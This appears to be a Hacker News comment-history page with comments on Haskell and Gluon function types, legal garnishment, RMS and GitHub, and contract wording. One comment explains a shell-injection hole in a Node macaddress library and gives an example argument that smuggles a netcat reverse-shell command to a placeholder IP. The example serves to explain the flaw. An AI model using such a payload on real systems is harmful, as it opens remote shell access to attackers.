Hacker News new | past | comments | ask | show | jobs | submit | parenthephobia's comments login

It's impossible to pass around functions without arguments in Haskell, because there are no functions without arguments in Haskell. It looks like the same is true of Gluon. (So you don't really pass around the function name: you pass around the variable which contains the result of evaluating the expression.)

In languages where there can be functions with no arguments, if referring to the function without parentheses calls it, it can be inconvenient to get a reference to the function itself.


In both Gluon and Haskell, functions without arguments can be represented as functions over the unit type:

  f: () -> SomeType
which can be called via:

  f ()
There are examples of this in the Gluon book (http://gluon-lang.org/book/syntax-and-semantics.html). There are no syntax-related difficulties at all here. This is also how it's done in OCaml and related languages.

(Note: This is (basically) useless in Haskell, since laziness makes this have the same semantics as a constant:

  f :: SomeType
But since Gluon is strict, there's a pretty important difference between the two.)


getChar is a Haskell function without arguments.


In Haskell, getChar isn't a function (something of type a -> b), its type is IO Char

http://hackage.haskell.org/package/base-4.11.1.0/docs/Prelud...

It represents an interaction with the outside world that results in a Char when you perform it. It isn't a function because in Haskell functions must be pure (with no side effects).


This is false. getChar is a constant.


I am confused :S

From your other post: "In both Gluon and Haskell, functions without arguments can be represented as functions over the unit type: f: () -> SomeType"

Isn't `f` a constant here too?, how is this different than getChar? (I get I don't understand something here but not sure what)


`getChar` is not of type `() -> SomeType`, but directly of type `SomeType`.

(Though yes, `f` also is a constant... it's just a constant that happens to be a function, which `getChar` is not.)


I feel the responses to you were somewhat unhelpful. Would they also claim that something of type `MyFun Char` is not a function, where

    data MyFun a = MyFun (() -> Char)
Technically they'd be right.


Anything which passes "iface" through without sanitising it.

The argument to exec is executed in a shell, so it can execute just about anything it likes, such as dialing out to a host under the attacker's control and giving it direct shell access.

e.g.

    macaddress.one(";nc 1.2.3.4 4444 –e /bin/sh;", () => {})


I think the OP was trying to imagine a scenario where a potentially malicious user would be asked to pass in the interface string.


Context is king. In this thread, RMS criticises Github as a place for hosting GNU projects.

RMS, who leads the FSF, which owns GNU, thinks that GNU projects should not be hosted on services which encourage users to run proprietary software on their PC, or which don't encourage users to use the FSF's preferred license.

To me, this stance does not seem at all nonsensical.


His actual point, in context, was that GNUstep shouldn't be hosted on GitHub because in doing so the GNU project is effectively inviting users to run GitHub's non-free software on their computer.


> they will target you through payment processors and ad networks

How will they do that, and on what legal basis?


Garnishment.

If the regulatory agency decides to fine you, and you don't successfully defend yourself against that in court, then you'll have to pay that fine. If you fail to pay the fine on time, any entities within the juristiction that owe you can be ordered to pay the fine instead (i.e., your payment processor will be ordered to redirect funds arriving for you to the state, which also, as far as their juristiction is concerned, fulfills their debt towards you--as far as their legal system is concerned, the payment processor has paid you and you have paid the fine).


Sounds like a good reason to start only accepting crypto


Except that won't help you? Usually, payment processors are ordered to redirect funds as that is usually the easiest way, but if that is not an option, your customers will be ordered directly to redirect payments. As long as you have customers within the jurisdiction, they will find a way to make you not earn any money from them until your fine is paid.


> If you are under attack

If. Much, if not most, server software is written under the implicit assumption that it will not be under attack.


Whilst "what a VC-funded startup should be burning money on" is something that the investors should have input on, I don't think random people on the Internet get to be the gatekeepers for what a company is allowed to do with their investors' money.


It's not about being allowed or disallowed. It's about having priorities as a startup. And every random person on the Internet has the right to say that his priorities at this stage would be very different.


If you think people shouldn't be discussing what companies do with their money then maybe you're on the wrong forum ;p


Legal dictionaries are useful for looking up legal terms of art, but they are not binding on courts. After all, anyone can publish one.

In the US at least, courts prefer to use the common meaning of words whenever it's reasonable to do so. If the common meaning doesn't make sense in context, they won't simply fall back on a legal definition, but will look for evidence of what the parties actually intended the words to mean.

In the case of disparagement, several courts have held that the common meaning of "disparage" is what applies to non-disparagement clauses.

https://www.michiganemploymentlawadvisor.com/terminating-the... https://caselaw.findlaw.com/me-supreme-judicial-court/107021... https://caselaw.findlaw.com/ga-court-of-appeals/1448243.html


oddjob isn't part of systemd and doesn't use systemd.


> It's OK to make mistakes.

A sentiment that is harder to sell if people erase all evidence of their mistakes.


Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: